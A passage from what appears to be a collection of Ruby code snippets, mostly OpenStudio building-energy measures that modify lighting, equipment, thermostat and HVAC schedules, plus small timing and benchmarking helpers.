1)\n summerEndDate = OpenStudio::Date.new(summerEndMonth, 30)\n \n summer_rule = OpenStudio::Model::ScheduleRule.new(schedule)\n summer_rule.setStartDate(summerStartDate)\n summer_rule.setEndDate(summerEndDate)\n coverSomeDays(summer_rule, days_covered)\n allDaysCovered(summer_rule, days_covered)\n\n cloned_day_summer = default_rule.clone(model)\n cloned_day_summer.setParent(summer_rule)\n\n summer_day = summer_rule.daySchedule\n day_time_vector = summer_day.times\n day_value_vector = summer_day.values\n summer_day.clearValues\n \n summer_day = createDaySchedule(summer_day, day_time_vector, day_value_vector, shift_time4, shift_time5, equipment_power_reduction_percent)\n \n ##############################################\n winterStartMonth1 = OpenStudio::MonthOfYear.new(winter_start_month1)\n winterEndMonth1 = OpenStudio::MonthOfYear.new(winter_end_month1)\n winterStartDate1 = OpenStudio::Date.new(winterStartMonth1, 1)\n winterEndDate1 = OpenStudio::Date.new(winterEndMonth1, 31)\n \n winter_rule1 = summer_rule.clone(model).to_ScheduleRule.get #OpenStudio::Model::ScheduleRule.new(schedule)\n winter_rule1.setStartDate(winterStartDate1)\n winter_rule1.setEndDate(winterEndDate1)\n\n #coverSomeDays(winter_rule1, days_covered)\n #allDaysCovered(summer_rule, days_covered)\n\n cloned_day_winter = default_rule.clone(model)\n cloned_day_winter.setParent(winter_rule1)\n\n winter_day1 = winter_rule1.daySchedule\n day_time_vector = winter_day1.times\n day_value_vector = winter_day1.values\n winter_day1.clearValues\n \n\n\n winter_day1 = createDaySchedule(winter_day1, day_time_vector, day_value_vector, shift_time6, shift_time7, equipment_power_reduction_percent)\n if shift_time1 != shift_time6 \n winter_day1 = createDaySchedule(winter_day1, day_time_vector, day_value_vector, shift_time1, shift_time2, equipment_power_reduction_percent)\n end\n ###################################################\n winterStartMonth2 = OpenStudio::MonthOfYear.new(winter_start_month2)\n winterEndMonth2 = OpenStudio::MonthOfYear.new(winter_end_month2)\n winterStartDate2 = OpenStudio::Date.new(winterStartMonth2, 1)\n winterEndDate2 = OpenStudio::Date.new(winterEndMonth2, 31)\n \n winter_rule2 = winter_rule1.clone(model).to_ScheduleRule.get #OpenStudio::Model::ScheduleRule.new(schedule)\n winter_rule2.setStartDate(winterStartDate2)\n winter_rule2.setEndDate(winterEndDate2)\n \n cloned_day_winter2 = winter_day1.clone(model)\n cloned_day_winter2.setParent(winter_rule2)\n end\n #runner.registerInfo(\"AFTER Summer #{days_covered}\")\n else\n runner.registerWarning(\"Schedule '#{k}' isn't a ScheduleRuleset object and won't be altered by this measure.\")\n v.remove # remove un-used clone\n end\n end\n\n end\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assume the occ sensors will last the full analysis\n expected_life = 25\n \n #assign the user inputs to variables\n space_type_object = runner.getOptionalWorkspaceObjectChoiceValue(\"space_type\",user_arguments,model)\n percent_runtime_reduction = runner.getDoubleArgumentValue(\"percent_runtime_reduction\",user_arguments)\n material_and_installation_cost_per_space = runner.getDoubleArgumentValue(\"material_and_installation_cost_per_space\",user_arguments)\n\n #check the space_type for reasonableness and see if measure should run on space type or on the entire building\n apply_to_building = false\n space_type = nil\n if space_type_object.empty?\n handle = runner.getStringArgumentValue(\"space_type\",user_arguments)\n if handle.empty?\n runner.registerError(\"No space type was chosen.\")\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if not space_type_object.get.to_SpaceType.empty?\n space_type = space_type_object.get.to_SpaceType.get\n elsif not space_type_object.get.to_Building.empty?\n apply_to_building = true\n else\n runner.registerError(\"Script Error - argument not showing up as space type or building.\")\n return false\n end\n end\n \n #check arguments for reasonableness\n if percent_runtime_reduction >= 100\n runner.registerError(\"Percent runtime reduction must be less than 100.\")\n return false\n end\n\n #find all the original schedules (before occ sensors installed)\n original_lts_schedules = []\n if apply_to_building #apply to the whole building\n \n model.getLightss.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end\n else #apply to the a specific space type\n #do the lights assigned to the space type itself\n space_type.lights.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end\n #do the lights in each space of the selected space type\n space_type.spaces.each do |space|\n space.lights.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end \n end\n end\n \n #make copies of all the original lights schedules, reduced to include occ sensor impact\n original_schs_new_schs = {}\n original_lts_schedules.uniq.each do |orig_sch|\n #TODO skip non-schedule-ruleset schedules\n \n #copy the original schedule\n new_sch = orig_sch.clone.to_ScheduleRuleset.get\n #reduce each value in each profile (except the design days) by the specified amount\n runner.registerInfo(\"Reducing values in '#{orig_sch.name}' schedule by #{percent_runtime_reduction}% to represent occ sensor installation.\")\n day_profiles = []\n day_profiles << new_sch.defaultDaySchedule\n new_sch.scheduleRules.each do |rule|\n day_profiles << rule.daySchedule\n end\n multiplier = (100 - percent_runtime_reduction)/100\n day_profiles.each do |day_profile|\n #runner.registerInfo(\"#{day_profile.name}\")\n times_vals = day_profile.times.zip(day_profile.values)\n #runner.registerInfo(\"original time/values = #{times_vals}\")\n times_vals.each do |time,val|\n day_profile.addValue(time, val * multiplier)\n end\n #runner.registerInfo(\"new time/values = #{day_profile.times.zip(day_profile.values)}\")\n end \n #log the relationship between the old sch and the new, reduced sch\n original_schs_new_schs[orig_sch] = new_sch\n #runner.registerInfo(\"***\")\n end\n \n #replace the old schedules with the new schedules\n spaces_sensors_added_to = []\n if apply_to_building #apply to the whole building\n runner.registerInfo(\"Adding occupancy sensors to whole building\")\n model.getLightss.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end\n else #apply to the a specific space type\n #do the lights assigned to the space type itself\n runner.registerInfo(\"Adding occupancy sensors to space type '#{space_type.name}'\")\n space_type.lights.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end\n #do the lights in each space of the selected space type\n space_type.spaces.each do |space|\n runner.registerInfo(\"Adding occupancy sensors to space '#{space.name}\")\n space.lights.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end \n end\n end \n \n #report if the measure is not applicable\n num_sensors_added = spaces_sensors_added_to.uniq.size\n if spaces_sensors_added_to.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because there were no lights in the specified areas of the building.\")\n return true\n end\n \n #report initial condition\n runner.registerInitialCondition(\"The building has several areas where occupancy sensors could be used to reduce lighting energy by turning off the lights while no occupants are present.\") \n \n #add cost of adding occ sensors\n if material_and_installation_cost_per_space != 0\n cost = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"Add #{material_and_installation_cost_per_space} Occ Sensors to the Building\", model.getBuilding, material_and_installation_cost_per_space * num_sensors_added, \"CostPerEach\", \"Construction\", expected_life, 0)\n if cost.empty?\n runner.registerError(\"Failed to add costs.\")\n end\n end \n \n #report final condition\n if apply_to_building\n runner.registerFinalCondition(\"Add occupancy sensors to #{num_sensors_added} spaces in the building. The total cost to perform this is $#{material_and_installation_cost_per_space.round} per space, for a total cost of $#{(material_and_installation_cost_per_space * num_sensors_added).round}\")\n else\n runner.registerFinalCondition(\"Add occupancy sensors to #{num_sensors_added} #{space_type.name} spaces in the building. The total cost to perform this is $#{material_and_installation_cost_per_space.round} per space, for a total cost of $#{(material_and_installation_cost_per_space * num_sensors_added).round}\")\n end\n \n return true\n \n end",
"def run(model, runner, user_arguments)\r\n super(model, runner, user_arguments)\r\n\r\n #use the built-in error checking \r\n if not runner.validateUserArguments(arguments(model), user_arguments)\r\n return false\r\n end\r\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\r\n if run_measure == 0\r\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\r\n return true \r\n end\r\n \r\n require 'json'\r\n \r\n results = {}\r\n dx_name = []\r\n #get all DX coils in model\r\n dx_single = model.getCoilCoolingDXSingleSpeeds \r\n dx_two = model.getCoilCoolingDXTwoSpeeds\r\n dx_heat = model.getCoilHeatingDXSingleSpeeds\r\n \r\n if !dx_single.empty?\r\n dx_single.each do |dx|\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Initial COP: #{dx.ratedCOP.get}\")\r\n dx.setRatedCOP(OpenStudio::OptionalDouble.new(6.0))\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Final COP: #{dx.ratedCOP.get}\")\r\n dx_name << dx.name.get\r\n end\r\n end\r\n if !dx_two.empty?\r\n dx_two.each do |dx|\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Initial High COP: #{dx.ratedHighSpeedCOP.get} Low COP: #{dx.ratedLowSpeedCOP.get}\")\r\n dx.setRatedHighSpeedCOP(6.0)\r\n dx.setRatedLowSpeedCOP(6.0)\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Final High COP: #{dx.ratedHighSpeedCOP.get} Final COP: #{dx.ratedLowSpeedCOP.get}\")\r\n dx_name << dx.name.get\r\n end\r\n end\r\n if !dx_heat.empty?\r\n dx_heat.each do |dx|\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Initial COP: #{dx.ratedCOP}\")\r\n dx.setRatedCOP(6.0)\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Final COP: #{dx.ratedCOP}\")\r\n dx_name << dx.name.get\r\n end\r\n end\r\n \r\n if dx_name.empty?\r\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\r\n runner.registerAsNotApplicable(\"No DX coils are appropriate for this measure\")\r\n end\r\n \r\n #unique initial conditions based on\r\n runner.registerInitialCondition(\"The building has #{dx_name.size} DX coils for which this measure is applicable.\")\r\n\r\n #reporting final condition of model\r\n runner.registerFinalCondition(\"The COP of the following coils was increased to 6: #{dx_name}\")\r\n return true\r\n\r\n end",
"def around_perform_stats(*args)\n start = Time.now\n yield\n time_taken = Time.now - start\n statsd.timing(\"duration:#{self}\", time_taken)\n statsd.increment(\"total_successful:#{self}\")\n statsd.increment(\"total_successful\")\n run_hooks(:duration, :duration, args) {|key| statsd.timing(key, time_taken)}\n end",
"def defMeasurement(name,&block)\n mp = {:mp => name, :fields => []}\n @fields = []\n # call the block with ourserlves to process its 'defMetric' statements\n block.call(self) if block\n @fields.each { |f| mp[:fields] << f }\n define_measurement_point(mp)\n end",
"def measure(heading)\n start_time = Time.now\n print heading\n result = yield\n end_time = Time.now - start_time\n puts \" (#{end_time} s)\"\n result\nend",
"def measure() @measure ||= (nb_weight == 0.0 ? 0.0 : sum_weight / nb_weight) end",
"def record_measure(label)\n $logger.debug(\n tms = Benchmark.measure(label) do\n yield\n end.format(\"%n: %10.6rreal %10.6u user %10.6y sys\")\n )\nend",
"def run_examination\n true\n end",
"def update\n if @clock1_measure.nil?\n discipline_freq\n else\n elapsed = @clock1.time - @clock1_measure.local_time\n discipline_freq if elapsed > @frequency_discipline_interval\n end\n if @clock2_measure.nil?\n discipline_phase\n else\n elapsed = @clock2.time - @clock2_measure.local_time\n discipline_phase if elapsed > @phase_discipline_interval\n end\n end",
"def benchmark!\n @benchmark = true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n\n pct_red = runner.getDoubleArgumentValue(\"pct_red\",user_arguments)\n start_hr = runner.getDoubleArgumentValue(\"start_hr\",user_arguments)\n end_hr = runner.getDoubleArgumentValue(\"end_hr\",user_arguments)\n \n\n\n #check the fraction for reasonableness\n if not 0 <= pct_red and pct_red <= 100\n runner.registerError(\"Percent reduction value needs to be between 0 and 100.\")\n return false\n end\n\n #check start_hr for reasonableness and round to 15 minutes\n start_red_hr = nil\n start_red_min = nil\n if not 0 <= start_hr and start_hr <= 24\n runner.registerError(\"Time in hours needs to be between or equal to 0 and 24\")\n return false\n else\n rounded_start_hr = ((start_hr*4).round)/4.0\n if not start_hr == rounded_start_hr\n runner.registerInfo(\"Start time rounded to nearest 15 minutes: #{rounded_start_hr}\")\n end\n start_red_hr = rounded_start_hr.truncate\n start_red_min = (rounded_start_hr - start_red_hr)*60\n start_red_min = start_red_min.to_i\n end\n\n #check end_hr for reasonableness and round to 15 minutes\n end_red_hr = nil\n end_red_min = nil \n if not 0 <= end_hr and end_hr <= 24\n runner.registerError(\"Time in hours needs to be between or equal to 0 and 24.\")\n return false\n elsif end_hr > end_hr\n runner.registerError(\"Please enter an end time later in the day than end time.\")\n return false\n else\n rounded_end_hr = ((end_hr*4).round)/4.0\n if not end_hr == rounded_end_hr\n runner.registerInfo(\"End time rounded to nearest 15 minutes: #{rounded_end_hr}\")\n end\n end_red_hr = rounded_end_hr.truncate\n end_red_min = (rounded_end_hr - end_red_hr)*60\n end_red_min = end_red_min.to_i\n end\n\n # Translate the percent reduction into a multiplier\n red_mult = pct_red/100\n\n # Get schedules from all lights.\n original_lights_schs = []\n model.getLightss.each do |lights|\n if lights.schedule.is_initialized\n lights_sch = lights.schedule.get\n original_lights_schs << lights_sch\n end\n end\n\n # loop through the unique list of lights schedules, cloning\n # and reducing schedule fraction during the specified time range.\n original_lights_schs_new_schs = {}\n original_lights_schs.uniq.each do |lights_sch|\n if lights_sch.to_ScheduleRuleset.is_initialized\n new_lights_sch = lights_sch.clone(model).to_ScheduleRuleset.get\n new_lights_sch.setName(\"#{lights_sch.name} with Solar Cogeneration and Daylighting\")\n original_lights_schs_new_schs[lights_sch] = new_lights_sch\n new_lights_sch = new_lights_sch.to_ScheduleRuleset.get\n \n # method to adjust the values in a day schedule by a \n # specified percentage during a range of hours.\n def reduce_schedule(day_sch, red_mult, start_red_hr, start_red_min, end_red_hr, end_red_min)\n start_time = OpenStudio::Time.new(0, start_red_hr, start_red_min, 0)\n end_time = OpenStudio::Time.new(0, end_red_hr, end_red_min, 0)\n\n # Get the original values at the desired start and end times\n # and put points into the schedule at those times.\n day_sch.addValue(start_time, day_sch.getValue(start_time))\n day_sch.addValue(end_time, day_sch.getValue(end_time))\n \n # Store the original time/values then clear the schedule\n times = day_sch.times\n values = day_sch.values\n day_sch.clearValues\n\n # Modify the time/values and add back to the schedule\n for i in 0..(values.length - 1)\n if times[i] > start_time and times[i] <= end_time # Inside range\n day_sch.addValue(times[i], values[i] * red_mult)\n else\n day_sch.addValue(times[i], values[i])\n end\n end\n\n end #end reduce schedule\n\n # Reduce default day schedule\n if new_lights_sch.scheduleRules.size == 0\n runner.registerWarning(\"Schedule '#{new_lights_sch.name}' applies to all days. It has been treated as a Weekday schedule.\")\n end\n reduce_schedule(new_lights_sch.defaultDaySchedule, red_mult, start_red_hr, start_red_min, end_red_hr, end_red_min)\n \n # Reduce all other schedule rules\n new_lights_sch.scheduleRules.each do |sch_rule|\n reduce_schedule(sch_rule.daySchedule, red_mult, start_red_hr, start_red_min, end_red_hr, end_red_min)\n end\n \n end \n end #end of original_lights_schs.uniq.each do\n\n #loop through all lights instances, replacing old lights schedules with the reduced schedules\n model.getLightss.each do |lights|\n if lights.schedule.empty?\n runner.registerWarning(\"There was no schedule assigned for the lights object named '#{lights.name}. No schedule was added.'\")\n else\n old_lights_sch = lights.schedule.get\n lights.setSchedule(original_lights_schs_new_schs[old_lights_sch])\n runner.registerInfo(\"Schedule for the lights object named '#{lights.name}' was reduced to simulate the application of Solar Cogeneration and Daylighting.\")\n end\n end\n\n # NA if the model has no lights\n if model.getLightss.size == 0\n runner.registerNotAsApplicable(\"Not Applicable - There are no lights in the model.\")\n end\n\n # Reporting final condition of model\n runner.registerFinalCondition(\"#{original_lights_schs.uniq.size} schedule(s) were edited to reflect the addition of Solar Cogeneration and Daylighting to the building.\")\n \n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n \n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end\n\n\t#initialize variables\n\ttz_count = 0\n\tclg_tstat_schedule = []\n\tthermal_zone_array = []\n\t\t\n\t# get the thermal zones and loop through them \n\tmodel.getThermalZones.each do |thermal_zone|\n\t\n\t\tthermal_zone_array << thermal_zone\n\t\t\n\t\t# test to see if thermal zone has a thermostat object assigned or is unconditioned. \n\t\tif thermal_zone.thermostatSetpointDualSetpoint.is_initialized\n\t\t\tzone_thermostat = thermal_zone.thermostatSetpointDualSetpoint.get\n\t\t\ttz_count += 1\n\t\t\t\n\t\t\tif zone_thermostat.coolingSetpointTemperatureSchedule.is_initialized\n\t\t\t\tclg_tstat_schedule = zone_thermostat.coolingSetpointTemperatureSchedule.get\n\t\t\t\t\n\t\t\t\t# clone the existing cooling T-stat schedule in case it is used somewhere else in the model\n\t\t\t\tcloned_clg_tstat_schedule = clg_tstat_schedule.clone\n\t\t\t\t@new_clg_tstat_schedule_name = (\"#{clg_tstat_schedule.name}+1.5F\")\n\t\t\t\n\t\t\t\tif cloned_clg_tstat_schedule.to_ScheduleRuleset.is_initialized\n\t\t\t\t\tschedule = cloned_clg_tstat_schedule.to_ScheduleRuleset.get\n\t\t\t\t\t# gather profiles of cloned schedule\n\t\t\t\t\tprofiles = []\n\t\t\t\t\tcooling_thermostat_array = []\n\t\t\t\t\tdefaultProfile = schedule.to_ScheduleRuleset.get.defaultDaySchedule\n\t\t\t\t\n\t\t\t\t\tprofiles << defaultProfile\n\t\t\t\t\trules = schedule.scheduleRules\n\t\t\t\t\n\t\t\t\t\trules.each do |rule|\n\t\t\t\t\t\tprofiles << rule.daySchedule\n\t\t\t\t\tend # end the do loop through the rulesetsdo\n\n\t\t\t\t\t#adjust profiles of temperature schedule of cloned schedule by + 1.5 deg F delta (0.833 C)\n\t\t\t\t\tprofiles.each do |profile|\n\t\t\t\t\t\ttime = profile.times\n\t\t\t\t\t\ti = 0\n\t\t\t\t\t\t#TODO - name new profile\n\t\t\t\t\t\tprofile.values.each do |value|\n\t\t\t\t\t\t\tdelta = 0.8333\n\t\t\t\t\t\t\tnew_value = value + delta # Note this is where the cooling setpoint is raised\n\t\t\t\t\t\t\tprofile.addValue(time[i], new_value)\n\t\t\t\t\t\t\ti += 1\n\t\t\t\t\t\t\tcloned_clg_tstat_schedule.setName(@new_clg_tstat_schedule_name)\n\t\t\t\t\t\t\tcooling_thermostat_array << cloned_clg_tstat_schedule\n\t\t\t\t\t\tend # end loop through each profile values\n\t\t\t\t\tend # end loop through each profile\n\t\t\t\t\t\n\t\t\t\t\tzone_thermostat.setCoolingSetpointTemperatureSchedule(cloned_clg_tstat_schedule.to_ScheduleRuleset.get)\n\t\t\t\t\trunner.registerInfo(\"The existing cooling thermostat '#{clg_tstat_schedule.name}' has been changed to #{cloned_clg_tstat_schedule.name}. Inspect the new schedule values using the OS App.\")\n\t\t\t\tend # end if statement for cloning and modifying cooling tstat schedule object\n\t\t\telse\n\t\t\t\trunner.registerInfo(\"The dual setpoint thermostat object named #{zone_thermostat.name} serving thermal zone #{thermal_zone.name} did not have a cooling setpoint temperature schedule associated with it. The measure will not alter this thermostat object\")\n\t\t\tend # end if statement for cooling Setpoint Temperature is initialized\n\t\t\t\n\t\t\tif zone_thermostat.heatingSetpointTemperatureSchedule.is_initialized\n\t\t\t\thtg_tstat_schedule = zone_thermostat.heatingSetpointTemperatureSchedule.get\n\t\t\t\t\t\t\n\t\t\t\t# clone the existing heating T-stat schedule in case it is used somewhere else\n\t\t\t\tcloned_htg_tstat_schedule = htg_tstat_schedule.clone\n\t\t\t\t\n\t\t\t\t#name cloned heating t-stat schedule\n\t\t\t\tcloned_htg_tstat_schedule.setName(\"#{htg_tstat_schedule.name}-1.5F\")\n\n\t\t\t\tif cloned_htg_tstat_schedule.to_ScheduleRuleset.is_initialized\n\t\t\t\t\tschedule = cloned_htg_tstat_schedule.to_ScheduleRuleset.get\n\t\t\t\t\n\t\t\t\t\t# gather profiles of cloned schedule\n\t\t\t\t\tprofiles_h = []\n\t\t\t\t\tdefaultProfile = schedule.to_ScheduleRuleset.get.defaultDaySchedule\n\t\t\t\t\t\n\t\t\t\t\tprofiles_h << defaultProfile\n\t\t\t\t\trules_h = schedule.scheduleRules\n\t\t\t\t\trules_h.each do |rule_h|\n\t\t\t\t\t\tprofiles_h << rule_h.daySchedule\n\t\t\t\t\tend # end the rule_h do\n\n\t\t\t\t\t#adjust profiles_h of temperature schedule of cloned schedule by + 1.5 deg F delta (0.833 C)\n\t\t\t\t\tprofiles_h.each do |profile_h|\n\t\t\t\t\t\ttime_h = profile_h.times\n\t\t\t\t\t\ti = 0\n\t\t\t\t\t\t#TODO - name new profile\n\t\t\t\t\t\tprofile_h.values.each do |value_h|\n\t\t\t\t\t\t\tdelta_h = 0.8333\n\t\t\t\t\t\t\tnew_value_h = value_h - delta_h # Note this is where the heating setpoint is lowered \n\t\t\t\t\t\t\tprofile_h.addValue(time_h[i], new_value_h)\n\t\t\t\t\t\t\ti += 1\n\t\t\t\t\t\tend # end loop through each profile values\n\t\t\t\t\tend # end loop through each profile_h\n\t\t\t\t\t\n\t\t\t\t\tzone_thermostat.setHeatingSetpointTemperatureSchedule(cloned_htg_tstat_schedule.to_ScheduleRuleset.get)\n\t\t\t\t\trunner.registerInfo(\"The existing heating thermostat '#{htg_tstat_schedule.name}' has been changed to #{cloned_htg_tstat_schedule.name}. Inspect the new schedule values using the OS App.\")\n\t\t\t\tend # end if statement for cloning and modifying heating tstat schedule object\t\n\t\t\telse\n\t\t\t\trunner.registerInfo(\"The dual setpoint thermostat object named #{zone_thermostat.name} serving thermal zone #{thermal_zone.name} did not have a heating setpoint temperature schedule associated with it. The measure will not alter this thermostat object\")\n\t\t\tend # end if statement for heating Setpoint Temperature is initialized\n\t\tend\t# end if statement for zone_thermstat cooling schedule\n\t\t\n\tend # end loop through thermal zones\t\t\t\n\t\t\t\n\t# Add ASHRAE 55 Comfort Warnings are applied to people objects\n\t# get people objects and people definitions in model\n\tpeople_defs = model.getPeopleDefinitions\n\tpeople_instances = model.getPeoples\n\n\t# loop through people objects\n\tpeople_def_counter = 0\n\tpeople_defs.sort.each do |people_def|\n\t next if not people_def.instances.size > 0\n\t people_def_counter += 1\n\t people_def.setEnableASHRAE55ComfortWarnings(true)\n\tend\n\t\t\t\n\treporting_frequency = \"Timestep\"\n\toutputVariable = OpenStudio::Model::OutputVariable.new(\"Zone Thermal Comfort ASHRAE 55 Adaptive Model 90% Acceptability Status []\",model)\n\toutputVariable.setReportingFrequency(reporting_frequency)\n\trunner.registerInfo(\"Adding output variable for 'Zone Thermal Comfort ASHRAE 55 Adaptive Model 90% Acceptability Status' reporting '#{reporting_frequency}'\")\n\n\t# write As Not Applicable message\n\tif tz_count == 0\n\t\trunner.registerAsNotApplicable(\"Measure is not applicable. There are no conditioned thermal zones in the model.\")\n\t\treturn true\n\tend\n\n\t# report initial condition of model\n\trunner.registerInitialCondition(\"The initial model contained #{tz_count} thermal zones with #{thermal_zone_array.length} 'Cooling Thermostat Schedule' and #{thermal_zone_array.length} 'Heating Thermostat Schedule' objects for which this measure is applicable.\")\n\n\t# report final condition of model\n\trunner.registerFinalCondition(\"The #{thermal_zone_array.length} Heating and #{thermal_zone_array.length} Cooling Thermostats schedules for #{thermal_zone_array.length} Thermal Zones were altered to reflect a additional deadband width of 3 Deg F . \")\n\treturn true\n\n end",
"def stat(*args)\n @recorder.call(*args) if @recorder\n end",
"def measure (n=1)\n cnt=0\nelapsed_time=Time.now\n\nn.times {\n cnt+=1\n yield} \nelapsed_time=(Time.now-elapsed_time)/cnt\n\nend",
"def run() end",
"def running_test_step; end",
"def stat() end",
"def measure(msg)\n start = Time.now\n yield\n printf \"%<msg>s in %<elapsed>.2f seconds\\n\", msg: msg, elapsed: Time.now - start\nend",
"def measure(msg)\n start = Time.now\n yield\n printf \"%<msg>s in %<elapsed>.2f seconds\\n\", msg: msg, elapsed: Time.now - start\nend",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n #initialize variables\n zone_hvac_count = 0\n pump_count = 0\n air_loop_count = 0\n \n #loop through each air loop in the model\n model.getAirLoopHVACs.sort.each do |air_loop|\n\n # call the method to generate a new occupancy schedule based on a 5% threshold\n occ_sch = air_loop.get_occupancy_schedule(0.15)\n old_sch = air_loop.availabilitySchedule\n next unless compare_eflh(runner, old_sch, occ_sch)\n # set the availability schedule of the airloop to the newly generated schedule\n air_loop.setAvailabilitySchedule(occ_sch)\n runner.registerInfo(\"The availability schedule named #{old_sch.name} for #{air_loop.name} was replaced with a new schedule named #{occ_sch.name} which tracks the occupancy profile of the thermal zones on this airloop.\")\n air_loop_count +=1\n \n end\n\n #loop through each thermal zone\n model.getThermalZones.sort.each do |thermal_zone|\n \n # zone equipments assigned to thermal zones\n thermal_zone_equipment = thermal_zone.equipment \n \n if thermal_zone_equipment.size >= 1\n # run schedule method to create a new schedule ruleset, routines \n occ_sch = thermal_zone.get_occupancy_schedule(0.15)\n \n #loop through Zone HVAC Equipment\n thermal_zone_equipment.each do |equip|\n \n # getting the fan exhaust object & getting relevant information for it. \n if equip.to_FanZoneExhaust.is_initialized\n zone_equip = equip.to_FanZoneExhaust.get\n old_schedule = zone_equip.availabilitySchedule.get\n next unless compare_eflh(runner, old_schedule, occ_sch)\n #assign the 'occ_sch' here as exhaust's availability schedule\n zone_equip.setAvailabilitySchedule(occ_sch)\n runner.registerInfo(\"The availability schedule named #{old_schedule.name} for the OS_Fan_ZoneExhaust named #{zone_equip.name} was replaced with a new schedule named #{occ_sch.name} representing the occupancy profile of the thermal zone named #{thermal_zone.name}.\")\n zone_hvac_count += 1 \t\n elsif equip.to_RefrigerationAirChiller.is_initialized\n zone_equip = equip.to_RefrigerationAirChiller.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_WaterHeaterHeatPump.is_initialized\n zone_equip = equip.to_WaterHeaterHeatPump.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACBaseboardConvectiveElectric.is_initialized\n zone_equip = equip.to_ZoneHVACBaseboardConvectiveElectric.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACBaseboardConvectiveWater.is_initialized\n zone_equip = equip.to_ZoneHVACBaseboardConvectiveWater.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACBaseboardRadiantConvectiveElectric.is_initialized\n zone_equip = equip.to_ZoneHVACBaseboardRadiantConvectiveElectric.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACBaseboardRadiantConvectiveWater.is_initialized\n zone_equip = equip.to_ZoneHVACBaseboardRadiantConvectiveWater.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACDehumidifierDX.is_initialized\n zone_equip = equip.to_ZoneHVACDehumidifierDX.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACEnergyRecoveryVentilator.is_initialized\n zone_equip = equip.to_ZoneHVACEnergyRecoveryVentilator.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\n elsif equip.to_ZoneHVACFourPipeFanCoil.is_initialized\n zone_equip = equip.to_ZoneHVACFourPipeFanCoil.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\t\n elsif equip.to_ZoneHVACHighTemperatureRadiant.is_initialized\n zone_equip = equip.to_ZoneHVACHighTemperatureRadiant.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\n elsif equip.to_ZoneHVACIdealLoadsAirSystem.is_initialized\n zone_equip = equip.to_ZoneHVACIdealLoadsAirSystem.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t \n elsif equip.to_ZoneHVACLowTemperatureRadiantElectric.is_initialized\n zone_equip = equip.to_ZoneHVACLowTemperatureRadiantElectric.get\n 